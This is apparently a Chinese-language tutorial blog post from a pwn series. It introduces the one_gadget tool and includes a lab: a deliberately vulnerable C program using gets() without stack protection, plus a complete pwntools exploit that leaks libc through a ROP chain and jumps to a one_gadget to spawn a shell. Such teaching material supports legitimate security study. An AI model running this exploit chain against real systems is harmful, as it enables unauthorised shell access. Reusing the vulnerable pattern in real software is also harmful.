iT邦幫忙

2025 iThome 鐵人賽

DAY 22
0
Security

現在是pwn的天下!系列 第 22

【Day-22】one-gadget用法及介紹 (內附Lab)

  • 分享至 

  • xImage
  •  

前言

今天就先不講heap的漏洞,來講一個好用的工具: one-gadget www

one-gadget

下載

  1. sudo apt install ruby -y
  2. sudo gem install one_gadget
    https://ithelp.ithome.com.tw/upload/images/20250826/20172088QC0UYooOjA.png

說明

基本定義

one_gadget 是 libc 函式庫中的一段特殊指令序列,當程式跳轉到這個位置執行時,可以直接呼叫 execve("/bin/sh", NULL, NULL),讓攻擊者獲得 shell。
它常被用在 ret2libc 攻擊 裡,作為快速取得 shell 的捷徑

使用方式

  1. 我們需要先leak出某個libc的address
  2. 接下來要將這個leak出來的libc address去減掉這個function的address,算出libc base
  3. 我們需要利用這個leak出來的libc base,去加上最理想的one_gadget的offset
  4. 程式跳轉到one_gadget,成功開shell
  • 找one_gadget,我們可以看到,雖然one_gadget雖然方便,但是也要符合以下constraints才能成功開shell
    https://ithelp.ithome.com.tw/upload/images/20250826/20172088TSn96D8uTK.png

Lab

為了方便我創了一個gadget在這
另外,我這題的libc跟ld都放在fast food restaurant,所以如果需要的話可以去我github找
傳送門: https://github.com/4ur0n/My-CTF-challenge/tree/main/CRHCCTF-2025/pwn/fast_food_restaurant%F0%9F%8D%94/share
chal.c:

#include <stdio.h>
#include <stdlib.h>

void gadget() {    // 自建gadget
    __asm__ volatile ("pop %rdi; ret;");
}

void init() {
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
}

int main() {
    init();

    char buf[0x30];
    puts("Give me your buffer:");
    gets(buf);
    return 0;
}

makefile:

chal: chal.c
        gcc chal.c -o chal  -no-pie -fno-stack-protector

checksec:
https://ithelp.ithome.com.tw/upload/images/20250826/20172088beKGTuuUzq.png

老樣子,先把該蒐集的都先用好
像我們這題需要bss, pop rdi, puts@GOT, puts@plt, main's offset, one gadget

bss:
readelf -S chal | grep bss
這東西非常重要,不然沒辦法符合one_gadget的constraints
https://ithelp.ithome.com.tw/upload/images/20250827/20172088O8wWNyrihF.png
pop rdi:
ROPgadget --binary chal | grep "pop rdi"
https://ithelp.ithome.com.tw/upload/images/20250827/20172088brkw55OZMI.png
puts@GOT:
objdump -R chal | grep puts
https://ithelp.ithome.com.tw/upload/images/20250827/20172088i6sQelzwpv.png
puts@plt:
objdump -d chal | grep puts
https://ithelp.ithome.com.tw/upload/images/20250827/20172088M9WFmEuFhI.png
main's offset:
objdump -d chal | grep main
https://ithelp.ithome.com.tw/upload/images/20250827/20172088KBZRF5y08S.png
one gadget:
one_gadget libc.so.6
我們可以看到有很多 one_gadget,但最上面的那個 gadget 是最容易滿足 constraints 的:

  1. rdi == NULL
  • 我們已經有 pop_rdi gadget,可以輕鬆設 rdi = NULL。
  1. r13 == NULL 或 r13 是有效 envp
  • 雖然 gadget 裡找不到單獨的 pop r13,但只要 r13 指向的記憶體是 有效的 envp 陣列(例如 stack 上的某個可讀區域),glibc 就認為 constraints 被滿足。
  • 因此 r13 不必特別設置,只要它指向有效記憶體即可。
  1. rbp-0x38 可寫
  • 這個 constraint 需要 gadget 執行時,rbp-0x38 所在位置是可寫的。
  • 我們利用 BSS 段,把可寫的 BSS 地址放到 rbp,這樣 rbp-0x38 就可寫,滿足這個條件。
    https://ithelp.ithome.com.tw/upload/images/20250827/2017208882ldgDx0QL.png

那我們有了以上資訊,我們就可以開始解題了

那我們可以透過array裡面的大小去知道我們蓋到return address需要多少個bytes,我們就把0x30 + 0x8 = 0x38 (56)
接下來我們需要透過overflow去利用return to plt的方式以得到我們需要的libc address,那這裡我們選擇的是puts,然後我們希望可以跳回main繼續下一步流程,故可以寫出以下payload

payload1 = flat(b'a' * 56, pop_rdi, puts_got, puts_plt, main)

每個片段的作用

片段 作用
b'a' * 56 填滿 buffer,覆蓋到 return address,讓下一個 gadget 被執行
pop_rdi 讓我們可以控制 rdi,因為 x86-64 Linux 系統調用函數時,第一個參數放在 rdi
puts_got rdi 指向 puts 的 GOT,puts() 會印出這個地址,也就是 libc 裡 puts 的實際地址
puts_plt 呼叫 puts(),把 rdi 內容印出 → 就能 leak libc 位置
main 呼叫 main 重新開始程式,方便後續再發 payload

接著我們可以接收到leak的puts了,若我們想要取得libc base,我們需要將我們拿到的leak puts,拿去減掉libc.so.6裡的puts offset,以得到libc base

libc_base = puts_leak - elf.symbols['puts']
success(f'libc base: {hex(libc_base)}')

我們拿到libc base之後我們就可以算出one_gadget了 ==> one_gadget = libc_base + one_gadget_offset

最後我們需要串最後一個 payload
這裡我們故意把padding改成 56 - 8 也就是 saved rbp 的位置,因為我們需要把我們剛才拿到的 bss 放進 saved rbp 裡面,以達成 rbp-0x38 is writable 的 constraints,接著我們只需要把 rdi 設為 0 ,我們在補上one_gadget我們就可以get shell了
exp.py:

from pwn import *

context.arch = 'amd64' # 記得要加,不然會沒辦法leak成功

elf = ELF('./libc.so.6')
r = process(['./ld-linux-x86-64.so.2', '--library-path', '.', './chal'])

bss = 0x404040
pop_rdi = 0x40114a
puts_got = 0x404000
puts_plt = 0x401030
main = 0x4011b0

one_gadget_offset = 0xddf43

payload1 = flat(b'a' * 56, pop_rdi, puts_got, puts_plt, main)

r.sendlineafter(b':', payload1)

r.recvline()

puts_leak = u64(r.recvline().strip().ljust(8, b'\x00'))
success(f'puts leak: {hex(puts_leak)}')

libc_base = puts_leak - elf.symbols['puts']
success(f'libc base: {hex(libc_base)}')

one_gadget = libc_base + one_gadget_offset
success(f'one gadget: {hex(one_gadget)}')

payload2 = flat(b'a' * 48, bss, pop_rdi, 0, one_gadget)
r.sendlineafter(b':', payload2)

r.interactive()

Pwned!
https://ithelp.ithome.com.tw/upload/images/20250827/201720883iIbT7z7ww.png


上一篇
【Day-21】Fastbin attack
下一篇
【Day-23】Double free
系列文
現在是pwn的天下!30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言